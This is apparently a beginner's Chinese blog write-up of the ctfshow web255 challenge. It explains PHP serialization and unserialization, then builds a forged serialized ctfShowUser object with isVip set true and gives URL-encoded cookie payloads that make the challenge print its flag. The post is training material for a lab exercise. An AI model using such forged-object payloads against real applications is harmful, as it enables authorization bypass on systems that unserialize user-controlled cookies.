ctfshow-web255

(sql注入太难了,所以先跳到反序列化,我这块也是第一次接触所以又要从头开始,什么魔术方法pop链之类的啥都不懂,但好处是又能从小白的视角看问题了)

一.前置知识

1.什么是序列化

一句话理解:

把"程序里的对象 / 数据结构" → 变成"可以存储或传输的字符串/字节流",依旧看例子:

php 复制代码
$user = [
  "name" => "admin",
  "isLogin" => true
];

经过序列化之后是这么输出的:

php 复制代码
a:2:{s:4:"name";s:5:"admin";s:7:"isLogin";b:1;}

这里还要讲一下这里面冒出来的字母是啥:

这里true就是返回1,false就是返回0,然后数字就是字符串长度。

这样做的目的:

  • 存到 cookie

  • 存到 session

  • 存到 文件 / 数据库

  • 通过 HTTP 传给前端 / 其他服务

2.什么是反序列化

同样的一句话理解:

把"字符串/字节流" → 还原回"程序里的对象 / 数据结构"【相当于倒一下】

php 复制代码
$data = 'a:2:{s:4:"name";s:5:"admin";s:7:"isLogin";b:1;}';
$user = unserialize($data);

3.有啥用

这里还是举个例子:

php 复制代码
<?php
class User {
    public $isAdmin = false;

    function __destruct() {
        if ($this->isAdmin) {
            system("cat flag");
        }
    }
}

$data = $_GET['data'];
unserialize($data);

正常逻辑:反序列化一个 User 对象 然后$isAdmin的值默认为false

然后在这里攻击者就可以构造一个序列化字符串:

php 复制代码
O:4:"User":1:{s:7:"isAdmin";b:1;}

通过get方式传给服务器,那么就会发生:

PHP 把字符串还原成一个 User 对象

$isAdmin = true

脚本结束 → 自动调用 __destruct()

system("cat flag") 执行

flag 到手

二:具体题目

放出的代码是这样的:

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
// 定义一个用户类
class ctfShowUser{
    // 公共属性:用户名,默认值是 xxxxxx
    public $username='xxxxxx';
    // 公共属性:密码,默认值是 xxxxxx
    public $password='xxxxxx';
    // 是否是 VIP,默认 false(不是 VIP)
    public $isVip=false;
    // 检查当前对象是不是 VIP
    public function checkVip(){
        // $this 指的是"当前这个对象"
        // 返回对象里的 isVip 属性
        return $this->isVip;
    }
    // 登录函数,只做校验,不修改 isVip
    public function login($u,$p){
        // 判断:
        // 1. 对象里的 username 是否等于用户传进来的 $u
        // 2. 对象里的 password 是否等于用户传进来的 $p
        // === 是全等比较(值和类型都要一样)
        // 返回 true 或 false
        return $this->username === $u && $this->password === $p;
    }
    // VIP 一键拿 flag 的函数
    public function vipOneKeyGetFlag(){
        // 如果当前对象是 VIP
        if($this->isVip){
            // 使用全局变量 $flag(来自 flag.php)
            global $flag;
            // 输出 flag
            echo "your flag is ".$flag;
        }else{
            // 如果不是 VIP
            echo "no vip, no flag";
        }
    }
}
// 从 GET 参数中获取用户名和密码(攻击者可控)
$username = $_GET['username'];
$password = $_GET['password'];
// 只要 username 和 password 都存在,就继续执行
if(isset($username) && isset($password)){
    // ★★★ 核心漏洞 ★★★
    // 从 Cookie 中取 user,然后直接反序列化
    // Cookie 是用户可控的
    // 所以这里存在"反序列化漏洞"
    $user = unserialize($_COOKIE['user']);    
    // 调用 login 方法,用 GET 传进来的用户名和密码做校验
    if($user->login($username,$password)){
        // 如果登录校验通过,再检查是否是 VIP
        if($user->checkVip()){
            // 如果是 VIP,就输出 flag
            $user->vipOneKeyGetFlag();
        }
    }else{
        // 登录校验失败
        echo "no vip,no flag";
    }
}

这串代码的关键首先就是usernamepassword ,直接给出了默认都为xxxxxx,并且是通过get方式传参,那么最开始便是在URL里面输入username和password这两个值:

css 复制代码
?username=xxxxxx&password=xxxxxx

然后后面的关键就是如何写出user序列化后的代码,这里先给出来再一一解释:

php 复制代码
O:11:"ctfShowUser":3:{
  s:8:"username";s:6:"xxxxxx";
  s:8:"password";s:6:"xxxxxx";
  s:5:"isVip";b:1;
}

1.O ------ Object(对象)

php 复制代码
O → 这是一个对象

PHP 知道要还原的是 对象,不是数组

2:"ctfShowUser" ------ 类名

css 复制代码
ctfShowUser → 11 个字符

类名必须完全一样,不然反序列化出来的是"未知类",方法根本调不了。

3.属性数量

css 复制代码
:3:

表示这个对象里有 3 个属性,username,password,$isVip

4.{ ... } ------ 属性内容

这里的关键是isVIP:

css 复制代码
s:5:"isVip";
b:1;

b:1代表True,这样才能表示是真的VIP

这里其实可以简写,就是不写username和password,原因得看之前的代码:

php 复制代码
public function login($u,$p){
    return $this->username === $u && $this->password === $p;
}

用人话讲就是如果 对象自己的用户名 等于 我们传进来的用户名 并且对象自己的密码 等于 我们传进来的密码那就返回 true,那么假设我们就传一个:

php 复制代码
O:11:"ctfShowUser":1:{s:5:"isVip";b:1;}

那么实际上其实是这样的:

php 复制代码
$user->username = 'xxxxxx'; // 默认值
$user->password = 'xxxxxx'; // 默认值
$user->isVip    = true;

然后我们的url里的password和username都为默认值,那么刚好一一对应,最后就能echo flag

注意要**对序列化字符串进行URL编码,**即我们最后的payload为:

php 复制代码
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

或者:

php 复制代码
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

要编码的原因是序列化字符串中包含:

css 复制代码
: ; " { }

这些在 HTTP Cookie 中是分隔符 / 非法字符,不编码会被浏览器或服务器截断

三:总结

第一次接触反序列化,最大的感受其实不是"技术有多复杂",而是代码真的会把我们伪造的数据当成"真实对象"来使用

这道题并没有用到魔术方法、POP 链这些进阶技巧,而是最基础、也最容易被忽略的一点:反序列化 + 默认值 + 逻辑校验

从序列化字符串的格式,到对象属性如何影响程序判断,再到为什么要 URL 编码,每一步都是在回答一个问题------
"程序到底是怎么一步步相信我的?"

理解了这一点,反序列化就不再是"玄学漏洞",而是一条清晰可追踪的执行流程。

后面无论是魔术方法还是 POP 链,本质也都是在这条思路上继续往前走。

相关推荐
一起努力啊~3 分钟前
算法刷题-二分查找
java·数据结构·算法
小途软件5 分钟前
高校宿舍访客预约管理平台开发
java·人工智能·pytorch·python·深度学习·语言模型
J_liaty10 分钟前
Java版本演进:从JDK 8到JDK 21的特性革命与对比分析
java·开发语言·jdk
西***634710 分钟前
全兼容・高安全:KVM 一站式服务器远程监控与管理指南
服务器
谎言西西里14 分钟前
零基础 Coze + 前端 Vue3 边玩边开发:宠物冰球运动员生成器
前端·coze
+VX:Fegn089530 分钟前
计算机毕业设计|基于springboot + vue律师咨询系统(源码+数据库+文档)
java·数据库·vue.js·spring boot·后端·课程设计
努力的小郑33 分钟前
2025年度总结:当我在 Cursor 里敲下 Tab 的那一刻,我知道时代变了
前端·后端·ai编程
daidaidaiyu40 分钟前
一文学习和实践 当下互联网安全的基石 - TLS 和 SSL
java·netty
GIS之路43 分钟前
GDAL 实现数据空间查询
前端
hssfscv1 小时前
Javaweb学习笔记——后端实战2_部门管理
java·笔记·学习